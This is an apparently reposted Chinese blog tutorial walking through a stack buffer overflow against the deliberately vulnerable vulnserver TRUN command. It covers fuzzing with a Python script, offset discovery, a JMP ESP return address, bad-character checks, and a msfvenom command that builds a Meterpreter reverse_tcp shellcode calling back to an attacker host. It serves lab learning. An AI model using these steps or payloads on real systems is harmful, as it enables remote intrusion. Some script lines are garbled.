启动时栈内存溢出_小白的一次缓冲区溢出复现笔记

更多全球网络安全资讯尽在邑安全

缓冲区溢出

一:原理

缓冲区溢出的原因是程序中没有仔细检查用户输入的参数,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。

二:汇编基础

通用寄存器:

AX(累加器)

BX(基址寄存器)

CX(计数器)

DX(数据寄存器)  ;可以分8位使用。

指针及变址寄存器:

SP(堆栈指针寄存器)

BP(基址指针寄存器)

SI(源变址寄存器)

DI(目的变址寄存器)

IP(指令指针寄存器):用来存放下一条要执行指令在内存中代码段中的偏移地址。

重点:缓冲区溢出堆栈覆盖顺序为 EIP -> ESP,通过控制EIP的指针跳转到ESP执行我们精心构造的shellcode

三,环境准备

漏洞软件:vulnserver 已知参数TRUN

调试软件:Immunity Debugger

辅助脚本:noma.py

kali

四,模糊测试

1,双击启动vulnserver,默认监听9999端口

b46c335f9266db4151eb0fd75c85c51c.png

2,通过脚本不断向目标程序发送数据,并查看寄存机的值

import socket

import syshost = "192.168.1.74"

port = 9999

buffer = ["A"]

counter=100

while len(buffer) <= 30:    

    buffer.append("A"*counter)    

    counter=counter+200for string in buffer:   

     print "fuzzing is %s bytes" % len(string)    

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    

connect=s.connect((host,port))    

s.send('TRUN /.:/' + string)   

s.close()

3beec5aa514c1b1cc8236129779b1461.png

从上图可以看到,当发送到5900个字符时程序崩溃,说明存在缓冲区溢出

ef124bfe55ca0366b8d3ded5c7939b85.png

内存中都是以十六进制显示字符,由于字符“A”对应的十六进制为41,上图可以看到,我们发送的超长字符已经成功覆盖EIP和ESP,接下来需要精确找到是第多少个字符覆盖了EIP,我们需要控制他。

五,精确查找溢出点

由于我们之前生成的字符全部是A,不知道是第几个A覆盖了EIP,我们要生成不重复序列,精确定位EIP位置

1,msf-pattern_create -l  5900

c0034d8d1ea94e5f44a56154c256d8c0.png

复制这些字符替换我们前面脚本中的A

2,继续动态调试

成功溢出,记下EIP地址

cdcb20949cb03c0040bc59d9d185ba73.png

3,查找EIP偏移量

msf-pattern_offset -l 5900 -q 386f4337

bb7a5dcc51aa33e41fa8e73b14f272ad.png

显示结果为2003,说明覆盖EIP地址的是第2003个字符后面的字符,接下来就可以控制EIP的地址,需要让他跳转到我们的shellcode

六,控制EIP

1,获取JMP ESP汇编指令在内存中的十六进制数据,FFE4

fd4ac7aa859f3becd6c8e97f643746c1.png

2,寻找系统中的偏移地址,我们需要让EIP执行JMP ESP,从而跳转到ESP执行我们ESP中shellcode

3,查找vulnserver调用的系统文件,我们要找前四列都为false的模块,因为没有启用内存保护机制,每次为程序分配固定的内存地址,这样计算机重启不会导致溢出程序失效。

1d084f9d47e88c301d6b81e963c20609.png

4,在模块中查找 jmp esp对应的偏移地址

60d0e02367ec5860f22ee8f86f1bb463.png

跳转指令对应的偏移地址为625011af,我们来验证一下

d82176c675dde897a86e5055fb314714.png

修改py脚本,将2003后面的字节写成这个偏移地址,由于栈先进后出的原则,我们要反过来写,“\xaf\x11\x50\x62”,验证,需要设置断点。

d4df57e2c7f2d8639e3b896206faaae9.png

EIP成功指向跳转esp的偏移地址,接下来就可以在ESP构造shellcode,让EIP指向esp,shellcode就可以执行啦

七,生成shellcode

1,坏字节对shellcode的影响,有些字节在缓冲区中是无法使用的,我们需要找出来,将所有字节发送到缓冲区,查看哪些字节不正常。

脚本

4917db110023f2ab616ac84a09a4ee90.png

打开动态调试观察内存中数据分布

01ff1cfd7a460c7b428c2a6f38b75b9e.png

\x01\xff都正常,注意\x00是默认的坏字符,有可能终止shellcode执行,我们需要去除他

接下来生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.82 LPORT=4444 -a x86 --platform windows -f c -b "\x00"

-a 指定CPU架构

--platform 指定操作系统平台

46c1036310c32e8054b41fd1c0aa452d.png

将shellcode替换之前脚本中badchars

启动msf

2e546debc7630b99bd34220a50251cc9.png

运行py脚本

成功返回msf shell

70a91e77bdfd123cb2ede6c62adb3e81.png

到此为止,缓冲区溢出完成。

原文来自: 看雪学院

原文链接: https://bbs.pediy.com/thread-263721.htm

欢迎收藏并分享朋友圈,让五邑人网络更安全

06c8c7067dcf5a64419baa6f65d69ab3.png

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!

推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值